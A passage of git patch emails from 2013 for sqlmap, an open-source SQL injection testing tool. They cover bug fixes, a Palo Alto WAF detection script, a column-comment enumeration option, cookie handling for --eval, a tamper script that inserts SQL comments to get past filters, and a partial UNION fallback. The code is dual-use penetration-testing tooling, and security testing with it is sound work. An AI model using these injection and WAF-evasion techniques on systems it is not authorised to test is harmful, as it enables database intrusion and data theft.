PAYLOAD.WHERE.REPLACE: origValue = "" From 28cd50b2f10e7506ab64d1aa55b1df36b6b4ef76 Mon Sep 17 00:00:00 2001 From: stamparm Date: Tue, 16 Jul 2013 14:08:32 +0200 Subject: [PATCH 026/889] Patch for an Issue #490 --- lib/core/agent.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 6213935e9..9581f8ed7 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -250,7 +250,7 @@ class Agent(object): payload = payload.replace(_, randomStr()) if origValue is not None: - payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else "'%s'" % origValue) + payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: From 86b62dc6191093ec6b0595323c7b82f2de4bba7d Mon Sep 17 00:00:00 2001 From: stamparm Date: Thu, 18 Jul 2013 16:17:28 +0200 Subject: [PATCH 027/889] Adding a new WAF script --- waf/paloalto.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 waf/paloalto.py diff --git a/waf/paloalto.py b/waf/paloalto.py new file mode 100644 index 000000000..ca2bcd810 --- /dev/null +++ b/waf/paloalto.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Palo Alto Firewall (Palo Alto Networks)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page, re.I) is not None + if retval: + break + + return retval From dbb0d7f7002f31acf24c319c1c632c90760d6abb Mon Sep 17 00:00:00 2001 From: stamparm Date: Fri, 19 Jul 2013 13:24:35 +0200 Subject: [PATCH 028/889] Important fix (Issue #489) - we had a bad presumption than only public schema could be used for enumeration (while all schemas inside a current db could be used) --- lib/core/dump.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 10 ---------- plugins/generic/databases.py | 17 +++++++++-------- xml/queries.xml | 6 +++--- 4 files changed, 13 insertions(+), 22 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index ff2ed0241..f55501cf8 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -143,7 +143,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.isDbms(DBMS.ORACLE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 2d1a63651..85743e4dc 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -171,13 +171,3 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) self.cleanup(onlyFileTbl=True) - - def forceDbmsEnum(self): - if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": - conf.db = "public" - - warnMsg = "on %s it is possible to enumerate " % DBMS.PGSQL - warnMsg += "only on the current schema and/or system databases. " - warnMsg += "sqlmap is going to use 'public' schema as a " - warnMsg += "database name" - singleTimeWarnMessage(warnMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index a312dc797..90fc7d7bd 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -20,6 +20,7 @@ from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -62,6 +63,12 @@ class Databases: if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "schema names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) + return kb.data.currentDb def getDbs(self): @@ -76,20 +83,14 @@ class Databases: warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) - elif Backend.isDbms(DBMS.ORACLE): - warnMsg = "schema names are going to be used on Oracle " + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): + warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" - elif Backend.isDbms(DBMS.DB2): - warnMsg = "schema names are going to be used on IBM DB2 " - warnMsg += "for enumeration as the counterpart to database " - warnMsg += "names on other DBMSes" - logger.warn(warnMsg) - infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" diff --git a/xml/queries.xml b/xml/queries.xml index 7fec188ce..5572582d6 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -90,7 +90,7 @@ - + @@ -108,8 +108,8 @@ - - + + From df5a6beb6e11d9ef41fd3a14634c1e3c165363f3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 27 Jul 2013 11:11:11 +0200 Subject: [PATCH 029/889] Queries for Issue #481 --- xml/queries.xml | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/xml/queries.xml b/xml/queries.xml index 5572582d6..ee0f61086 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -24,6 +24,8 @@ + + @@ -92,6 +94,9 @@ + + + @@ -160,6 +165,8 @@ + + @@ -234,6 +241,8 @@ SELECT USERENV('ISDBA') FROM DUAL --> + + From b921ff07292baa8b7f966cccb6a5e843646bbaac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 27 Jul 2013 11:20:43 +0200 Subject: [PATCH 030/889] Fix for an Issue #495 --- lib/controller/controller.py | 10 +++++----- sqlmap.py | 6 +++--- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index f7610299e..c1a4f393d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -598,14 +598,14 @@ def start(): except SqlmapSilentQuitException: raise - except SqlmapBaseException, e: - e = getUnicode(e) + except SqlmapBaseException, ex: + errMsg = getUnicode(ex.message) if conf.multipleTargets: - e += ", skipping to the next %s" % ("form" if conf.forms else "URL") - logger.error(e) + errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") + logger.error(errMsg) else: - logger.critical(e) + logger.critical(errMsg) return False finally: diff --git a/sqlmap.py b/sqlmap.py index 38f9f9199..21f3d1727 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -101,9 +101,9 @@ def main(): except (SqlmapSilentQuitException, bdb.BdbQuit): pass - except SqlmapBaseException, e: - e = getUnicode(e) - logger.critical(e) + except SqlmapBaseException, ex: + errMsg = getUnicode(ex.message) + logger.critical(errMsg) sys.exit(1) except KeyboardInterrupt: From de31688c4f72bfdca901fc61841a17254d2f12cf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Jul 2013 18:25:27 +0200 Subject: [PATCH 031/889] Update for an Issue #481 --- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 3 +++ plugins/generic/databases.py | 26 ++++++++++++++++++++++++++ sqlmap.conf | 4 ++++ xml/queries.xml | 20 +++++++++++++++++--- 5 files changed, 51 insertions(+), 3 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index acf14c88f..07f9321de 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -121,6 +121,7 @@ optDict = { "dumpTable": "boolean", "dumpAll": "boolean", "search": "boolean", + "getComments": "boolean", "db": "string", "tbl": "string", "col": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cb1c99efe..5f4503c24 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -386,6 +386,9 @@ def cmdLineParser(): enumeration.add_option("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") + enumeration.add_option("--comments", dest="getComments", action="store_true", + help="Retrieve DBMS comments") + enumeration.add_option("-D", dest="db", help="DBMS database to enumerate") diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 90fc7d7bd..df03dbf3c 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -554,6 +554,19 @@ class Databases: name = safeSQLIdentificatorNaming(columnData[0]) if name: + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if len(columnData) == 1: columns[name] = None else: @@ -666,6 +679,19 @@ class Databases: column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) diff --git a/sqlmap.conf b/sqlmap.conf index f88d4cb15..5f363c567 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -429,6 +429,10 @@ dumpAll = False # Valid: True or False search = False +# Retrieve back-end database management system comments. +# Valid: True or False +getComments = False + # Back-end database management system database to enumerate. db = diff --git a/xml/queries.xml b/xml/queries.xml index ee0f61086..05f53cc65 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -240,9 +240,9 @@ NOTE: in Oracle to check if the session user is DBA you can use: SELECT USERENV('ISDBA') FROM DUAL --> - - - + + + @@ -324,6 +324,8 @@ + + @@ -374,6 +376,8 @@ + + @@ -415,6 +419,8 @@ + + @@ -471,6 +477,8 @@ + + @@ -521,6 +529,8 @@ + + @@ -592,6 +602,8 @@ + + @@ -657,6 +669,8 @@ + + From a585aa4bff7edbdd59b8b5b0e001e43c8d6830db Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Jul 2013 20:42:29 +0200 Subject: [PATCH 032/889] Adding support for ~ --- lib/core/option.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 530575df0..c29c55e28 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1380,6 +1380,10 @@ def _cleanupOptions(): else: conf.progressWidth = width - 46 + for key, value in conf.items(): + if value and any(key.endswith(_) for _ in ("Path", "File")): + conf[key] = os.path.expanduser(value) + if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) conf.testParameter = conf.testParameter.replace(" ", "") From 4f58e0af0c580b2147d3441beb44db56bc2c9cae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 08:45:04 +0200 Subject: [PATCH 033/889] Minor fix --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index ec108eda3..2fbd84ea3 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3277,7 +3277,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): for form in forms: try: for control in form.controls: - if hasattr(control, "items"): + if hasattr(control, "items") and not control.disabled: # if control has selectable items select first non-disabled for item in control.items: if not item.disabled: From 941b2387c0e6641725811cbdc648661200ba7221 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 09:22:45 +0200 Subject: [PATCH 034/889] Minor fix --- lib/controller/checks.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e3e03173d..b65967386 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -426,7 +426,7 @@ def checkSqlInjection(place, parameter, value): injectable = True except SqlmapConnectionException, msg: - debugMsg = "problem occured most likely because the " + debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " debugMsg += "error-based payload used ('%s')" % msg logger.debug(debugMsg) @@ -1098,7 +1098,7 @@ def identifyWaf(): logger.debug("checking for WAF/IDS/IPS product '%s'" % product) found = function(_) except Exception, ex: - errMsg = "exception occured while running " + errMsg = "exception occurred while running " errMsg += "WAF script for '%s' ('%s')" % (product, ex) logger.critical(errMsg) @@ -1182,6 +1182,10 @@ def checkConnection(suppressOutput=False): except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname raise SqlmapConnectionException(errMsg) + except socket.error, ex: + errMsg = "problem occurred while " + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, str(ex)) + raise SqlmapConnectionException(errMsg) if not suppressOutput and not conf.dummy: infoMsg = "testing connection to the target URL" From eaacbe0b12803e117e7d8674380bb44ab540e732 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 09:24:34 +0200 Subject: [PATCH 035/889] Minor language fix --- lib/core/common.py | 4 ++-- lib/core/option.py | 4 ++-- lib/core/threads.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/httpshandler.py | 2 +- 6 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2fbd84ea3..a78703440 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2739,7 +2739,7 @@ def decodeIntToUnicode(value): def unhandledExceptionMessage(): """ - Returns detailed message about occured unhandled exception + Returns detailed message about occurred unhandled exception """ errMsg = "unhandled exception in %s, retry your " % VERSION_STRING @@ -3372,7 +3372,7 @@ def evaluateCode(code, variables=None): except KeyboardInterrupt: raise except Exception, ex: - errMsg = "an error occured while evaluating provided code ('%s'). " % ex + errMsg = "an error occurred while evaluating provided code ('%s'). " % ex raise SqlmapGenericException(errMsg) def serializeObject(object_): diff --git a/lib/core/option.py b/lib/core/option.py index c29c55e28..a9648bde9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -495,7 +495,7 @@ def _setCrawler(): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: - errMsg = "problem occured while crawling at '%s' ('%s')" % (target, ex) + errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, ex) logger.error(errMsg) def _setGoogleDorking(): @@ -625,7 +625,7 @@ def _findPageForms(): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except Exception, ex: - errMsg = "problem occured while searching for forms at '%s' ('%s')" % (target, ex) + errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, ex) logger.error(errMsg) def _setDBMSAuthentication(): diff --git a/lib/core/threads.py b/lib/core/threads.py index 0d924f5eb..f511d8709 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -140,7 +140,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio try: thread.start() except threadError, errMsg: - errMsg = "error occured while starting new thread ('%s')" % errMsg + errMsg = "error occurred while starting new thread ('%s')" % errMsg logger.critical(errMsg) break diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 2db1e8975..b76ac9f55 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -90,7 +90,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if kb.nullConnection and pageLength: if not seqMatcher.a: - errMsg = "problem occured while retrieving original page content " + errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7a964d84d..060d52ac3 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -434,7 +434,7 @@ class Connect(object): conn.fp._sock.close() conn.close() except Exception, msg: - warnMsg = "problem occured during connection closing ('%s')" % msg + warnMsg = "problem occurred during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 0f32385b6..4b18c5f62 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -54,7 +54,7 @@ class HTTPSConnection(httplib.HTTPSConnection): else: sock.close() except ssl.SSLError, errMsg: - logger.debug("SSL connection error occured ('%s')" % errMsg) + logger.debug("SSL connection error occurred ('%s')" % errMsg) if not success: raise SqlmapConnectionException("can't establish SSL connection") From 02da417b238256878cfab7c0adef8f86f5532b01 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 09:52:10 +0200 Subject: [PATCH 036/889] Fix for a tamper script (in some cases comments were not inserted) --- tamper/randomcomments.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 759972894..b37e5d768 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -26,7 +26,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: @@ -39,6 +39,11 @@ def tamper(payload, **kwargs): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] + + if "/**/" not in _: + index = randomRange(1, len(word) - 1) + _ = word[:index] + "/**/" + word[index:] + retVal = retVal.replace(word, _) return retVal From ca44b23d2064d02833093cc8a1d0a75e446ec86a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 17:28:22 +0200 Subject: [PATCH 037/889] Implementation for --eval to support cookies --- lib/request/connect.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 060d52ac3..9056121dc 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -66,6 +66,7 @@ from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_CONTENT_TYPE +from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE @@ -750,6 +751,13 @@ class Connect(object): value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) evaluateCode("%s=%s" % (name, repr(value)), variables) + if cookie: + for part in cookie.split(conf.pDel or DEFAULT_COOKIE_DELIMITER): + if '=' in part: + name, value = part.split('=', 1) + value = urldecode(value, convall=True) + evaluateCode("%s=%s" % (name, repr(value)), variables) + originals.update(variables) evaluateCode(conf.evalCode, variables) @@ -757,10 +765,12 @@ class Connect(object): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) - if '%s=' % name in (get or ""): + if re.search(r"\b%s=" % name, (get or "")): get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) - elif '%s=' % name in (post or ""): + elif re.search(r"\b%s=" % name, (post or "")): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) + elif re.search(r"\b%s=" % name, (cookie or "")): + cookie = re.sub("((\A|\W)%s=)([^%s]+)" % (name, conf.pDel or DEFAULT_COOKIE_DELIMITER), "\g<1>%s" % value, cookie) elif post is not None: post += "%s%s=%s" % (delimiter, name, value) else: From 6b826ef64d96c1d5f2d3a14bae495d1a8317c0c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 20:41:19 +0200 Subject: [PATCH 038/889] Reintroducing option --cookie-del --- lib/core/common.py | 5 ++++- lib/core/optiondict.py | 1 + lib/parse/cmdline.py | 3 +++ lib/request/basic.py | 4 ++-- lib/request/connect.py | 4 ++-- lib/request/redirecthandler.py | 2 +- sqlmap.conf | 5 ++++- 7 files changed, 17 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a78703440..5825f0a59 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -533,7 +533,10 @@ def paramToDict(place, parameters=None): parameters = parameters.replace(", ", ",") parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) - splitParams = parameters.split(conf.pDel or (DEFAULT_COOKIE_DELIMITER if place == PLACE.COOKIE else DEFAULT_GET_POST_DELIMITER)) + if place == PLACE.COOKIE: + splitParams = parameters.split(conf.cDel or DEFAULT_COOKIE_DELIMITER) + else: + splitParams = parameters.split(conf.pDel or DEFAULT_GET_POST_DELIMITER) for element in splitParams: element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 07f9321de..8671c6f82 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -25,6 +25,7 @@ optDict = { "data": "string", "pDel": "string", "cookie": "string", + "cDel": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5f4503c24..a4be932ae 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -82,6 +82,9 @@ def cmdLineParser(): request.add_option("--cookie", dest="cookie", help="HTTP Cookie header") + request.add_option("--cookie-del", dest="cDel", + help="Character used for splitting cookie values") + request.add_option("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") diff --git a/lib/request/basic.py b/lib/request/basic.py index 7ccb0c926..529e46289 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -73,7 +73,7 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, cookie.value), x) + _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, cookie.value), x) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -82,7 +82,7 @@ def forgeHeaders(items=None): conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (DEFAULT_COOKIE_DELIMITER, cookie.name, cookie.value) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cDel or DEFAULT_COOKIE_DELIMITER, cookie.name, cookie.value) if kb.testMode: resetCookieJar(conf.cj) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9056121dc..d7b135836 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -752,7 +752,7 @@ class Connect(object): evaluateCode("%s=%s" % (name, repr(value)), variables) if cookie: - for part in cookie.split(conf.pDel or DEFAULT_COOKIE_DELIMITER): + for part in cookie.split(conf.cDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True) @@ -770,7 +770,7 @@ class Connect(object): elif re.search(r"\b%s=" % name, (post or "")): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif re.search(r"\b%s=" % name, (cookie or "")): - cookie = re.sub("((\A|\W)%s=)([^%s]+)" % (name, conf.pDel or DEFAULT_COOKIE_DELIMITER), "\g<1>%s" % value, cookie) + cookie = re.sub("((\A|\W)%s=)([^%s]+)" % (name, conf.cDel or DEFAULT_COOKIE_DELIMITER), "\g<1>%s" % value, cookie) elif post is not None: post += "%s%s=%s" % (delimiter, name, value) else: diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 3e2376cbf..6b84dcecc 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -112,7 +112,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler): if redurl and kb.redirectChoice == REDIRECTION.YES: req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: - req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(DEFAULT_COOKIE_DELIMITER)[0] + req.headers[HTTP_HEADER.COOKIE] = headers[HTTP_HEADER.SET_COOKIE].split(conf.cDel or DEFAULT_COOKIE_DELIMITER)[0] result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) else: result = fp diff --git a/sqlmap.conf b/sqlmap.conf index 5f363c567..d67d5360f 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -36,12 +36,15 @@ googleDork = # Data string to be sent through POST. data = -# Character used for splitting cookie values +# Character used for splitting parameter values pDel = # HTTP Cookie header. cookie = +# Character used for splitting cookie values +cDel = + # File containing cookies in Netscape/wget format loadCookies = From 953b5815d86ff73bd98d509034fcb3dc3af4e85b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 31 Jul 2013 21:15:03 +0200 Subject: [PATCH 039/889] Implementation for an Issue #496 --- lib/core/option.py | 1 + lib/request/inject.py | 12 ++++++++++++ lib/techniques/union/use.py | 3 ++- 3 files changed, 15 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index a9648bde9..32c5d9f9f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1601,6 +1601,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.errorIsNone = True kb.fileReadMode = False kb.forcedDbms = None + kb.forcePartialUnion = False kb.headersFp = {} kb.heuristicDbms = None kb.heuristicMode = False diff --git a/lib/request/inject.py b/lib/request/inject.py index b3cfcfdd3..320780d22 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -361,6 +361,18 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE + if not found and not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL: + warnMsg = "something went wrong with full UNION " + warnMsg += "technique (most probably because of " + warnMsg += "limitation on retrieved number of entries). " + warnMsg += "Falling back to partial UNION technique" + singleTimeWarnMessage(warnMsg) + + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + kb.forcePartialUnion = False + if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 55ed7d412..bab4823ed 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -184,7 +184,8 @@ def unionUse(expression, unpack=True, dump=False): " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + and not re.search(SQL_SCALAR_REGEX, expression, re.I)\ + or kb.forcePartialUnion: expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: From 32c1cb20f5b01190addd1da85791e013857b988b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 1 Aug 2013 19:48:20 